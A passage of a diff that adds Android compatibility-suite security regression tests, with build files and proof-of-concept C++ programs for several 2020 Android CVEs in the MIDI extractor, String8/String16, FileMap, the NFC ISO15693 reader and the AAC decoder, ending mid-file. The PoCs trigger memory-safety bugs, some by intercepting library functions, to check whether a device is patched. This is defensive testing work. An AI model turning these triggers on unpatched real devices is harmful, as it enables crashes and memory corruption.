+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0385",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
new file mode 100644
index 0000000..cc2692f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0408",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+ android::String16 str{u"hello world"};
+ android::String16 substr{u"hello"};
+ const size_t begin = substr.size();
+ const size_t len = std::numeric_limits<size_t>::max();
+ if (str.remove(len, begin) != android::OK) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp16(str, substr) != 0) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
new file mode 100644
index 0000000..274e24d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0409",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ "libbase",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
new file mode 100644
index 0000000..085eb41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "android-base/file.h"
+#include "utils/FileMap.h"
+
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
+
+int main() {
+ TemporaryFile tf;
+ android::FileMap fm;
+ fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
new file mode 100644
index 0000000..b4aee1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0421",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+ if (!strcmp(format, VULNERABLE_STRING)) {
+ return -1;
+ }
+ return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+ fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+ if (!fptr) {
+ return EXIT_FAILURE;
+ }
+ android::String8 str1{VULNERABLE_STRING};
+ str1.appendFormat(VULNERABLE_STRING);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
new file mode 100644
index 0000000..70c3eed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0450",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..268153b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <stdlib.h>
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+void *kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
+ uint16_t block_number, uint8_t *p_data) = nullptr;
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_rw_i93_send_cmd_write_single_block =
+ (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
+ RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+ if (!real_rw_i93_send_cmd_write_single_block) {
+ return;
+ }
+
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ void *ptr = nullptr;
+ if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+ ptr = malloc(size);
+ memset(ptr, DEFAULT_VALUE, size);
+ kVulnPtr = ptr;
+ kVulnSize = size;
+ } else {
+ ptr = real_GKI_getbuf(size);
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kVulnPtr) {
+ free(ptr);
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
+ uint8_t *p_data) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (p_data == kVulnPtr) {
+ for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+ if (p_data[n] == DEFAULT_VALUE) {
+ kIsVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->block_size = 7;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..066b530
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0451",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ "external/aac/libSBRdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libArithCoding/include",
+ "external/aac/libMpegTPDec/include",
+ "external/aac/libPCMutils/include",
+ "external/aac/libDRCdec/include",
+ "external/aac/libSBRdec/src",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+ public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+ int validateQmfDomainBounds();
+
+ private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[2048 * kMaxChannelCount];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int Codec::validateQmfDomainBounds() {
+ // Check OOB for qmfDomain
+ void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+ HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+ // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+ {
+ void *qmfDomainInChPtr = nullptr;
+ void *qmfDomainOutChPtr = nullptr;
+ int channel = 0;
+ int element = 0;
+ int absChOffset = 0;
+ for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+ if (hSbrDecoder->pSbrElement[element] != NULL) {
+ for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+ ++channel) {
+ qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+ qmfDomainOutChPtr =
+ &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+ if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+ kIsVulnerable = true;
+ }
+ }
+ absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+ }
+ }
+ }
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ std::ifstream file;
+ file.open(argv[1], std::ios::in | std::ios::binary);
+ if (!file.is_open()) {
+ return EXIT_FAILURE;
+ }
+ file.ignore(std::numeric_limits<std::streamsize>::max());
+ std::streamsize length = file.gcount();
+ file.clear();
+ file.seekg(0, std::ios_base::beg);
+ UCHAR *data = new UCHAR[length];
+ file.read(reinterpret_cast<char *>(data), length);
+ file.close();
+
+ Codec codec = Codec();
+ if (codec.initDecoder()) {
+ codec.decodeFrames(data, length);
+ }
+ return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 0000000..1876c60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0470",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libmediandk",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 0000000..d434e11
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
